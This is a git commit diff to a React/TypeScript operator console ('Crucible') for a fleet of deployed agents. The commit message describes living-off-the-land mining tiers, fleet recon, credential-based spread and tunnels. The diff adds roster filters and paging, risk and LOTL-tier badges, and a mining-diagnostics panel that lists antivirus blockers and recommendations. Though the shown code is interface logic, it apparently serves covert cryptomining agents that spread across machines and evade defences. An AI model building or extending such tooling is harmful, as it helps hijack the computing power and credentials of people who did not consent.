Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -6,7 +6,15 @@ import NeonCard from '../components/NeonCard/NeonCard';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
import { formatHashrate } from '../help/fleetFilters';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import CrucibleAgentMeta from '../components/Fleet/CrucibleAgentMeta';
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
formatHashrate,
type FleetFilterState,
} from '../help/fleetFilters';
import { useFleetBulkActions } from '../hooks/useFleetBulkActions';
import { primaryGroupForAgent } from '../help/fleetGroups';
import { useFleetGroups } from '../hooks/useFleetGroups';
import { useMatrixRain } from '../context/MatrixRainContext';
@@ -15,10 +23,15 @@ import type { WSCommandResult } from '../types/ws';
import { sanitizeScreenshotBase64 } from '../help/screenshotDownload';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
import LotlAttemptsList from '../components/Fleet/LotlAttemptsList';
import LotlTierBadge from '../components/Fleet/LotlTierBadge';
import RiskBadge from '../components/Fleet/RiskBadge';
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
import { parseTierReport } from '../types/lotl';
import AlsoHere from '../components/Presence/AlsoHere';
import { HelpTip } from '../components/HelpTip';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/FleetToolbar.css';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
@@ -90,7 +103,25 @@ interface RichFullSysCheck {
report: FullSysCheckReport;
}
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck;
interface RichMiningDiagnostics {
type: 'mining_diagnostics';
generated_at?: string;
active_method?: string;
execution_mode?: string;
likely_blockers: string[];
av_recommendation?: string;
lotl_tier?: string;
lotl_attempts?: import('../types/lotl').TierAttempt[];
mining_hashrate?: number;
}
type RichTermData =
| RichListenPorts
| RichPatchStatus
| RichPostureSummary
| RichScreenshot
| RichFullSysCheck
| RichMiningDiagnostics;
// ── Helpers ────────────────────────────────────────────────────────────────
@@ -304,6 +335,9 @@ const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONL
/** Max terminal lines rendered in the DOM (full history kept in state for scrollback export). */
const TERM_RENDER_CAP = 400;
/** Roster page size — avoids rendering 500+ node cards at once. */
const ROSTER_PAGE_SIZE = 80;
// ── Component ──────────────────────────────────────────────────────────────
export default function CruciblePage() {
@@ -312,8 +346,14 @@ export default function CruciblePage() {
// Selection
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [showGroupModal, setShowGroupModal] = useState(false);
const { groups, addGroup, removeGroup } = useFleetGroups();
const { bulkBusy, handleBulkAction } = useFleetBulkActions({
agents,
selectedIds,
commandResults,
});
// Terminal
const [termLines, setTermLines] = useState<TermLine[]>([]);
@@ -331,12 +371,38 @@ export default function CruciblePage() {
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
const [activeTab, setActiveTab] = useState<'ops' | 'recon' | 'files' | 'spread' | 'tunnels'>('ops');
const [rosterPage, setRosterPage] = useState(0);
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
const sortedAgents = useMemo(() => [...agents].sort((a, b) => {
if (a.status === 'online' && b.status !== 'online') return -1;
if (a.status !== 'online' && b.status === 'online') return 1;
const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0;
const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0;
if (tb !== ta) return tb - ta;
return a.name.localeCompare(b.name);
}), [agents]);
const filteredAgents = useMemo(
() => filterFleetAgents(sortedAgents, filters),
[sortedAgents, filters],
);
const rosterPageCount = Math.max(1, Math.ceil(filteredAgents.length / ROSTER_PAGE_SIZE));
const rosterPageSafe = Math.min(rosterPage, rosterPageCount - 1);
const rosterSlice = useMemo(() => {
const start = rosterPageSafe * ROSTER_PAGE_SIZE;
return filteredAgents.slice(start, start + ROSTER_PAGE_SIZE);
}, [filteredAgents, rosterPageSafe]);
useEffect(() => {
setRosterPage(0);
}, [filters]);
const selectedAgents = useMemo(
() => agents.filter((a) => selectedIds.has(a.id)),
[agents, selectedIds]
@@ -499,6 +565,24 @@ export default function CruciblePage() {
}));
if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
} else if (r.action === 'mining_diagnostics') {
const blockers = parsed.likely_blockers ?? parsed.blockers;
const tierFields = parseTierReport(parsed as Record<string, unknown>);
if (Array.isArray(blockers) || tierFields.lotl_attempts.length > 0) {
richData = {
type: 'mining_diagnostics',
generated_at: parsed.generated_at,
active_method: parsed.active_method,
execution_mode: parsed.execution_mode,
likely_blockers: Array.isArray(blockers)
? blockers.filter((b: unknown) => typeof b === 'string')
: [],
av_recommendation: parsed.av_recommendation,
lotl_tier: tierFields.lotl_tier,
lotl_attempts: tierFields.lotl_attempts,
mining_hashrate: tierFields.mining_hashrate,
};
}
} else {
// Generic JSON with posture fields (legacy path)
if (typeof parsed.posture_score === 'number') {
@@ -910,10 +994,44 @@ export default function CruciblePage() {
</div>
);
const RichMiningDiagnosticsBlock = ({ d }: { d: RichMiningDiagnostics }) => (
<div className="rich-block rich-mining-diag">
<div className="rich-header">
<span className="rich-label">MINING DIAGNOSTICS</span>
{d.lotl_tier && <LotlTierBadge tier={d.lotl_tier} attempts={d.lotl_attempts} variant="inline" />}
{d.active_method && <span className="rich-tag">{d.active_method}</span>}
</div>
{d.execution_mode && (
<div className="rich-kv-row">
<span className="rich-key">Execution</span>
<span className="rich-val">{d.execution_mode}</span>
</div>
)}
{(d.lotl_attempts?.length ?? 0) > 0 && (
<LotlAttemptsList
attempts={d.lotl_attempts ?? []}
activeTier={d.lotl_tier}
miningHashrate={d.mining_hashrate}
/>
)}
<div className="rich-sub-label">LIKELY BLOCKERS</div>
{d.likely_blockers.length === 0 ? (
<div className="rich-empty">No blockers detected</div>
) : (
<ul className="rich-blocker-list">
{d.likely_blockers.map((b, i) => (
<li key={i} className="rich-blocker-item">{b}</li>
))}
</ul>
)}
</div>
);
const renderRichData = (d: RichTermData, lineAgentName?: string) => {
if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
if (d.type === 'mining_diagnostics') return <RichMiningDiagnosticsBlock d={d} />;
if (d.type === 'full_sys_check') {
return <FullSysCheckPanel report={d.report} agentName={lineAgentName ?? 'agent'} />;
}
@@ -962,6 +1080,20 @@ export default function CruciblePage() {
<AlsoHere page="/crucible" />
{agents.length > 0 && (
<FleetToolbar
agents={agents}
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
filteredCount={filteredAgents.length}
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
onBulkAction={handleBulkAction}
onCreateGroup={() => setShowGroupModal(true)}
bulkBusy={bulkBusy}
/>
)}
<FleetGroupsStrip
groups={groups}
liveAgentIds={onlineAgentIds}
@@ -999,9 +1131,21 @@ export default function CruciblePage() {
</div>
{agents.length === 0 ? (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
) : filteredAgents.length === 0 ? (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes match filters.</p>
) : (
<>
{filteredAgents.length > ROSTER_PAGE_SIZE && (
<div className="crucible-roster-pager" style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.5rem', fontSize: '0.8rem' }}>
<button type="button" className="btn btn-outline btn-sm" disabled={rosterPageSafe <= 0} onClick={() => setRosterPage((p) => Math.max(0, p - 1))}> Prev</button>
<span className="font-tech">
{rosterPageSafe * ROSTER_PAGE_SIZE + 1}{Math.min((rosterPageSafe + 1) * ROSTER_PAGE_SIZE, filteredAgents.length)} of {filteredAgents.length}
</span>
<button type="button" className="btn btn-outline btn-sm" disabled={rosterPageSafe >= rosterPageCount - 1} onClick={() => setRosterPage((p) => Math.min(rosterPageCount - 1, p + 1))}>Next </button>
</div>
)}
<div className="crucible-roster">
{agents.map((a) => {
{rosterSlice.map((a) => {
const sel = selectedIds.has(a.id);
const isOn = online(a);
const ssh = sshStatus(a);
@@ -1036,6 +1180,18 @@ export default function CruciblePage() {
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
<span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
</div>
{(a.tags?.length ?? 0) > 0 && (
<div className="cn-tags" style={{ display: 'flex', flexWrap: 'wrap', gap: '0.25rem', marginTop: '0.2rem' }}>
{a.tags!.map((t) => (
<span key={t} className="agent-tag-chip" style={{ fontSize: '0.65rem' }}>{t}</span>
))}
</div>
)}
{a.notes?.trim() && (
<div className="form-hint" style={{ fontSize: '0.68rem', marginTop: '0.15rem', opacity: 0.75 }}>
{a.notes.trim().slice(0, 60)}{a.notes.length > 60 ? '…' : ''}
</div>
)}
<div className="cn-ip font-tech">{a.ip || '—'}</div>
<div className="cn-stats">
<span>{a.cpu_cores}c</span>
@@ -1043,6 +1199,8 @@ export default function CruciblePage() {
<LatencyBadge ms={isOn ? a.latency_ms : undefined} compact />
</div>
<div className="cn-badges">
<LotlTierBadge tier={a.lotl_tier} attempts={a.lotl_attempts} />
<RiskBadge findings={a.vuln_findings} />
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
<div
className={`cn-posture ${posture.cls}`}
@@ -1131,9 +1289,14 @@ export default function CruciblePage() {
);
})}
</div>
</>
)}
</NeonCard>
{focusedAgent && (
<CrucibleAgentMeta agent={focusedAgent} />
)}
{/* ── Focused machine banner ──────────────────────────────────────── */}
{focusedAgent && (
<div className="crucible-focus-bar" style={{
@@ -1150,6 +1313,8 @@ export default function CruciblePage() {
</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.ip || '—'}</span>
<span className={`status-badge ${focusedAgent.status}`}>{focusedAgent.status}</span>
<LotlTierBadge tier={focusedAgent.lotl_tier} attempts={focusedAgent.lotl_attempts} variant="inline" />
<RiskBadge findings={focusedAgent.vuln_findings} variant="inline" />
<LatencyBadge ms={focusedAgent.status === 'online' ? focusedAgent.latency_ms : undefined} />
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''}</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB</span>
@@ -1175,7 +1340,7 @@ export default function CruciblePage() {
<span className="section-ornament"></span> GROUPS <HelpTip field="crucible_groups" />
</div>
<p className="form-hint" style={{ margin: '0 0 0.5rem' }}>
Same groups as Fleet Roster click a chip to select all members.
Named color subsets click a chip to select all members for bulk commands.
</p>
{groups.length === 0 ? (
<p className="form-hint" style={{ margin: 0 }}>